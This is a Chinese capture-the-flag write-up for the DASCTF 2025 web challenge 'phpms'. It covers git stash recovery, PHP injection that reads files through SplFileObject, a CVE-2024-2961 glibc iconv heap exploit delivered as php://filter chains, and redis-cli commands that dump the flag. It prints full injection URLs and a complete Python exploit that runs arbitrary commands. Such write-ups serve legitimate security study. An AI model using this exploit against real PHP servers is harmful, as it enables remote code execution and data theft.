0%

DASCTF2025上半年赛|web|复现

前言:

比赛的时候给24级出题去了,接着就是准备护网,蹭着最近忙完了有空闲复现一下。

phpms

描述:听说你是php大师?

考点:git恢复暂存(stash)、php原生类SplFileObject读取文件、libc泄露、CVE-2024-2961、redis命令注入

进入后是个空白界面,那么就直接dirsearch启动

发现git泄露,用githacker导出文件

先配置个kali的dns(看情况)

1
vim /etc/resolv.conf

接着githacker

1
githacker --url http://2a481ec1-de7f-42a5-87fa-1541b210953e.node5.buuoj.cn:81/.git --output-folder result

但是导出四个空的php文件

那么就是进行恢复

查看简化的git仓库提交历史

1
git log --oneline

列出所有暂存(stash)的变更并显示

1
2
git stash list
git stash show -p

发现有命令执行但是被#给注释了

闭合绕过

1
/index.php?shell=?><?php echo 1111;

但是当尝试命令执行的时候,发现禁用了一堆基础函数,能利用的就是有php原生类

这里利用SplFileObject类读取文件

1
/index.php?shell=?><?php $a=new SplFileObject("/etc/passwd");echo $a;

但是发现这样只能看到一行不能看到所有信息,所以加一层遍历

1
/index.php?shell=?><?php $a=new SplFileObject('/etc/passwd');foreach($a as $line){echo $line."<br>";};

可以看到读到的/etc/passwd里有一个redis用户

利用DirectoryIterator类遍历一下根目录看看,发现一个hintflag

1
/index.php?shell=?><?php $a=new DirectoryIterator('/');foreach($a as $line){echo $line."<br>";};

想读取一下hintflag,但是发现不管用DirectoryIterator还是SplFileObject都没法读到,利用目录穿越也不行

那么就读一下tmp里的东西,结果真发现了个redis-5.3.4.tgz没删

1
/index.php?shell=?><?php $a=new DirectoryIterator('/tmp/pear/download');foreach($a as $line){echo $line."<br>";};

再结合上面/etc/passwd里的redis用户

查看一下redis的配置文件

1
/index.php?shell=?><?php $a=new SplFileObject('/etc/redis.conf');foreach($a as $line){echo $line."<br>";};

得到内网ip:192.168.1.100,端口:6379,redis密码:admin123。但是没有外网ip(没有/etc/network/interfaces,也没法看历史~/.bash_history,看hosts也没有,log也没有,ssh登录记录也没有)没法直接连接。。。

这里也是没有思路了。。。

看了一下包师傅的wp,发现是要打CVE-2024-2961(glibc的iconv()中的缓冲区溢出漏洞)

读取/proc/self/maps,可以发现libc版本为libc-2.31.so

修改exp

利用php://filter将maps的内容进行base64加密,接着在本地解密下载到maps同一目录下

1
/index.php?shell=?><?php $a=new SplFileObject('php://filter/convert.base64-encode/resource=/proc/self/maps');foreach($a as $line){echo $line."<br>";};

libc-2.31.so的内容也是如上操作

1
/index.php?shell=?><?php $a=new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');foreach($a as $line){echo $line."<br>";};

运行exp(注意环境中的libc-2.31.so是会变的)

执行payload

1
/index.php?shell=?%3E%3C?php%20$a=new%20SplFileObject(%27php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXsO%2bOmQhbwrX3ai9XSL7VWx7wcOve2IYYxw0rs5d4Tq1%2bJlcp9FZtZVNOg8QfO4H/wuktkoVyhrrZrAx4QQLX6U3HQ/PCVyaH5W%2b8GvVM7CQbI34dM45selM49XboqxlXo3O2TtvpuskRvwYGtY061TFPy6ZapX0Vi16bmjcxR4CAFadqMwunVgE1bJ2nfmD%2b47D9sXt%2b/7iwbVdM/Mcb1/xvn75d/9V1cs/X3633P9u6qdTzE3DAn/u21y1OB0unnrkmdjv6rt21t0tzt1/P/btl757crfMer8yTt8vXfx0fn1/5//H77%2b6ftJnxGnfAvuh/laxDHYQwSovPytH//vbn429/Svqm77r7qix%2b2%2b/XlR//7LK1X1duP%2b/y7eVv/%2b3Qu/Z5yieZ18nR19%2bbP1d/4r717c%2b3v9vvbPv9d9e/P2%2bn3i7d8NPbunhOVp7Esf0SE//sJRALPsmRUTFL45b2Ra4NTPt2/P1%2b1022BEJBos/W6FrPvfMZgWqCnv8ZRxWPKh5VTGfFy7ZfkTLWLZdcXduzyaUzRZpAlvXJX2maFvXOKOy3RGqn0EkzAspn3AvKPrPlTuqab4anhFQn5RJQbrB26bYdXr3yLzfO/1S4eE93vNfPl8/jvTs5bhPwRUKUd27hVCn7S8n2VzXe6yjlsONX35Cpu/VoaNYfj/6/IYv3bO74IQwA%27);foreach($a%20as%20$line){echo%20$line."<br>";};

 2025-08-03 021712.png

这里也是直接502了,试了好多次都是502也不知道是哪里出问题了(但是其实已经成功了,这个也是我在后面试着写入到tmp才发现的,卡了我好久。。。)

但是查看/var/www/html/1.txt发现并不存在

尝试写入到tmp目录试试,运行exp

执行payload

1
/index.php?shell=?%3E%3C?php%20$a=new%20SplFileObject(%27php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXvu%2bOmQh7wrX3ai9XSL7VWx6QWL03tiHGccPK7CWeU6ufydUJPVZbyZPTIPHHTmC/%2bruMr%2blyhrrZrAx4QQLX6U3HQ/PCVyaH5W%2b8GvVM7CQTI34dM45selM49XboqxlXo3O2TtvpuskBvwYGtY061TFPy6ZapX0Vi16bmjdRR4CAFadqMwunVgE1bJ1nfWD%2b47D/dhXfPy7MLd2Z9/HGtetvn77dv%2buiSvLfuge/a/oFT55nJuCA/%2bXnTc99uuImuXnr0W9h2/1LqzNvv328bV%2befn702ucVq263n799%2btf5/dtt/n98/1n55zT8QfCg/c7%2bOOkJ9yFEz83pUrdP11b/22JrP/fx0rztu%2b5Of/vvo03Fvx229uv87edevv26rD6G/fVO78q%2brxvXvv4%2b%2bTNX5cpttvtr95/I3X1//ePz1%2bv3zt09y35/XHmltf%2bO2N9z9m8xPq72vC3xz4mOJ895CcSg1OlLj7S%2bapWeyeo12rz/3x/lSU8JROGBgjcTN6Z9qXPrNur0%2bMU/qnhU8ahiOis22Lv02oyXpdM/busPnKYxUYdAGdbwUnfrMZ/1u3u21/ZsculMkSRQ5PnkrzRNq7qbuudt8hRVL5XTBJQnRHnnFk6Vsr%2bcbP/0sVul%2bP6pn06v3z9dSHAaAXcd2DLt1iMt07plx%2btWBd6LdIngI2DT5ais7tVXfsyU%2b73SrTJd8CMvAA==%27);foreach($a%20as%20$line){echo%20$line."<br>";};

查看/tmp/1.txt发现已经写入成功了,这里说明网站根目录没有写入文件的权限,所以我们没法直接写入木马从而getshell

换个思路,我们就可以利用命令执行来获取flag接着写入到tmp目录中。但是前面我们可知该环境里面没有命令执行的函数。

既然没法通过命令执行来获取flag,那么接着换个思路。

上面我们找到了一个redis数据库并且我们还得到了密码admin123,那么我们就可以猜测flag可能存放在键中,我们就可以利用redis命令注入并且将结果写入到tmp目录中

开始实践,首先列出redis的所有键

1
(echo \"auth admin123\nkeys *\" | redis-cli) > /tmp/1.txt

发现有个名为flag的键,直接查看键值获取flag

1
(echo \"auth admin123\nget flag\" | redis-cli) > /tmp/1.txt

最后放一个出题人的exp(其实也就是加了一层请求直接把上面payload放入请求)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
#!/usr/bin/python
# -*- coding: utf-8 -*-
from dataclasses import dataclass
import re
import sys
import requests
from pwn import *
import zlib
import os
import binascii


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self):
return self.stop - self.start


def print_hex(data):
hex_string = binascii.hexlify(data).decode()
print(hex_string)


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload


def _get_region(regions, *names):
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
pass
return region


def find_main_heap(regions):
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
pass

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
print("Potential heaps: " + heaps + " (using first)")
else:
# print("[*]Using " + hex(first) + " as heap")
pass

return first


def get_regions(maps_path):
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
f = open('maps', 'rb')
maps = f.read().decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in maps.split("\n"):
# print(region)
match = PATTERN.match(region)
if match:
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
# print("[*]Unable to parse memory mappings")
pass

# print("[*]Got " + str(len(regions)) + " memory regions")
return regions


def get_symbols_and_addresses(regions):
# PHP's heap
heap = find_main_heap(regions)

# Libc
libc_info = _get_region(regions, "libc-", "libc.so")

return heap, libc_info


def build_exploit_path(libc, heap, sleep, padding, cmd):
LIBC = libc
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = heap
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = cmd
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * padding
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
path = path.replace("+", "%2b")
return path

# -------------------------- 简化版主函数 --------------------------
def exp():
url = f"http://fdba10c1-d407-4f3c-9a6c-40b182fa58a0.node5.buuoj.cn:81/"

maps = base64.b64decode(requests.get(
f"{url}?shell=?%3E%3C?php%20$context%20=%20new%20SplFileObject(%27php://filter/convert.base64-encode/resource=/proc/self/maps%27);foreach($context%20as%20$f){{echo($f);}}"
).text)
open("maps", "wb").write(maps)

libc = base64.b64decode(requests.get(
f"{url}?shell=?%3E%3C?php%20$context%20=%20new%20SplFileObject(%27php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so%27);foreach($context%20as%20$f){{echo($f);}}"
).text)
open("libc-2.23.so", "wb").write(libc)

regions = get_regions("maps")
heap, libc_info = get_symbols_and_addresses(regions)
libc = ELF("libc-2.23.so", checksec=False)
libc.address = libc_info.start

cmd = "(echo \"auth admin123\nkeys *\nget flag\" | redis-cli) > /tmp/1.txt"
payload = build_exploit_path(libc, heap, sleep=1, padding=20, cmd=cmd)

try:
requests.get(f"{url}?shell=?%3E%3C?php%20$context=new%20SplFileObject(%27{payload}%27);foreach($context%20as%20$f){{echo($f);}}")
except:
pass
time.sleep(2)

result = requests.get(f"{url}?shell=?%3E%3C?php%20$context=new%20SplFileObject(%27/tmp/1.txt%27);foreach($context%20as%20$f){{echo($f);}}").text
match = re.search(r"DASCTF{.*?}", result)
if match:
print("[+] Got flag:", match.group(0))
else:
print("[-] Flag not found")

# --------------------------
if __name__ == '__main__':
exp()

再短一点点

泽西岛